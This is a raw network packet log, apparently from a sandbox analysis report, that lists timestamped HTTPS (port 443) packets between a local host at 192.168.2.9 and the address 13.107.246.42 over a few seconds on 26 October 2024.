Oct 26, 2024 13:46:13.290709972 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.290811062 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.290939093 CEST	49834	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.291158915 CEST	49834	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.291158915 CEST	49834	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.291173935 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.291183949 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.294559002 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.294604063 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.294694901 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.294925928 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.294939995 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.411448956 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.411930084 CEST	49836	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.411953926 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.412394047 CEST	49836	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.412400007 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.419064999 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.419406891 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.419522047 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.419534922 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.419579029 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.419614077 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.419635057 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.419647932 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.419656038 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.422126055 CEST	49840	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.422154903 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.422449112 CEST	49840	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.422600985 CEST	49840	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.422617912 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.543507099 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.543584108 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.543643951 CEST	49836	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.543864965 CEST	49836	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.543885946 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.543900013 CEST	49836	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.543908119 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.546637058 CEST	49841	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.546684027 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.546963930 CEST	49841	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.547112942 CEST	49841	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.547135115 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.782030106 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.782864094 CEST	49837	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.782887936 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.783433914 CEST	49837	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.783456087 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.916220903 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.916332960 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.916429996 CEST	49837	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.916611910 CEST	49837	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.916611910 CEST	49837	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.916640997 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.916656017 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.919456959 CEST	49842	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.919504881 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.919568062 CEST	49842	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.919724941 CEST	49842	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.919738054 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.952943087 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.953372955 CEST	49838	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.953397036 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.953828096 CEST	49838	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.953835964 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.050076962 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.050581932 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.050602913 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.051011086 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.051023960 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.085339069 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.085412025 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.085575104 CEST	49838	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.085715055 CEST	49838	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.085736990 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.085752010 CEST	49838	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.085760117 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.088877916 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.088921070 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.089004040 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.089202881 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.089220047 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.172190905 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.172662020 CEST	49840	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.172687054 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.173120975 CEST	49840	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.173125982 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.184542894 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.185692072 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.185779095 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.185791969 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.185813904 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.185875893 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.185875893 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.185906887 CEST	49839	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.185920000 CEST	443	49839	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.188349009 CEST	49844	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.188380003 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.188534975 CEST	49844	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.188657045 CEST	49844	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.188678026 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.282474041 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.282974958 CEST	49841	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.282995939 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.283426046 CEST	49841	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.283432007 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.374969006 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.375113010 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.375181913 CEST	49840	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.375370026 CEST	49840	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.375384092 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.375399113 CEST	49840	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.375405073 CEST	443	49840	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.381571054 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.381603003 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.381673098 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.381949902 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.381963968 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.417363882 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.417440891 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.417558908 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.417665958 CEST	49841	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.417665958 CEST	49841	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.418056011 CEST	49841	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.418071032 CEST	443	49841	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.430267096 CEST	49846	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.430311918 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.430480957 CEST	49846	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.431174994 CEST	49846	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.431189060 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.677104950 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.747204065 CEST	49842	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.747243881 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.750771999 CEST	49842	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.750781059 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.848206043 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.884706020 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.884924889 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.884996891 CEST	49842	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.900410891 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.900427103 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.900876999 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.900882959 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.901202917 CEST	49842	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.901223898 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.901248932 CEST	49842	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.901254892 CEST	443	49842	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.903882980 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.903917074 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.903995991 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.904215097 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.904228926 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.967303991 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.967775106 CEST	49844	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.967784882 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:14.968323946 CEST	49844	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:14.968327999 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.029303074 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.029402971 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.029517889 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.029541016 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.029578924 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.029705048 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.029726028 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.029742002 CEST	49843	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.029750109 CEST	443	49843	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.032591105 CEST	49848	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.032660961 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.032730103 CEST	49848	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.032906055 CEST	49848	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.032927990 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.105114937 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.105196953 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.105298996 CEST	49844	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.105601072 CEST	49844	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.105618954 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.105628014 CEST	49844	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.105634928 CEST	443	49844	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.108412981 CEST	49849	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.108450890 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.108584881 CEST	49849	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.108748913 CEST	49849	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.108762980 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.119117975 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.119626999 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.119652033 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.120086908 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.120096922 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.181509018 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.182033062 CEST	49846	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.182051897 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.182593107 CEST	49846	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.182598114 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.261733055 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.261766911 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.261814117 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.261826038 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.261914015 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.262023926 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.262039900 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.262052059 CEST	49845	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.262058020 CEST	443	49845	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.265068054 CEST	49850	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.265117884 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.265285969 CEST	49850	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.265485048 CEST	49850	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.265501976 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.335967064 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.336575031 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.336656094 CEST	49846	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.336771965 CEST	49846	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.336771965 CEST	49846	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.336790085 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.336798906 CEST	443	49846	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.339632988 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.339680910 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.339956999 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.340126038 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.340143919 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.664877892 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.665390968 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.665404081 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.665962934 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.665968895 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.796974897 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.798017979 CEST	49848	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.798058033 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.798496962 CEST	49848	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.798505068 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.799654007 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.799700975 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.799742937 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.799758911 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.799773932 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.799822092 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.800025940 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.800040007 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.800070047 CEST	49847	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.800077915 CEST	443	49847	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.802985907 CEST	49852	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.803025961 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.803227901 CEST	49852	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.803353071 CEST	49852	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.803365946 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.849025965 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.849636078 CEST	49849	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.849673986 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.850173950 CEST	49849	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.850188971 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.931651115 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.931736946 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.931792974 CEST	49848	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.931950092 CEST	49848	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.931976080 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.931991100 CEST	49848	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.931999922 CEST	443	49848	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.934998035 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.935045004 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.935125113 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.935307980 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.935322046 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.979902029 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.980106115 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.980175972 CEST	49849	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.980242014 CEST	49849	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.980268955 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.980288982 CEST	49849	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.980297089 CEST	443	49849	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.983098030 CEST	49854	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.983136892 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.983206034 CEST	49854	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.983382940 CEST	49854	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.983406067 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.994764090 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.995206118 CEST	49850	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.995233059 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:15.995719910 CEST	49850	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:15.995727062 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.066790104 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.067285061 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.067310095 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.067764044 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.067770958 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.125790119 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.126343966 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.126410007 CEST	49850	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.126743078 CEST	49850	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.126766920 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.126780987 CEST	49850	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.126789093 CEST	443	49850	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.132306099 CEST	49855	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.132337093 CEST	443	49855	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.132515907 CEST	49855	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.132808924 CEST	49855	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.132824898 CEST	443	49855	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.195506096 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.195584059 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.195681095 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.195688963 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.195743084 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.196008921 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.196034908 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.196063995 CEST	49851	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.196072102 CEST	443	49851	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.199070930 CEST	49856	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.199116945 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.199285984 CEST	49856	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.199448109 CEST	49856	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.199459076 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.557821989 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.558357000 CEST	49852	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.558387041 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.558823109 CEST	49852	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.558829069 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.656783104 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.657368898 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.657392979 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.658206940 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.658212900 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.688925982 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.689040899 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.689104080 CEST	49852	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.689213037 CEST	49852	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.689235926 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.689249992 CEST	49852	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.689255953 CEST	443	49852	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.692434072 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.692471027 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.692806959 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.693018913 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.693036079 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.717247009 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.717766047 CEST	49854	443	192.168.2.9	13.107.246.42
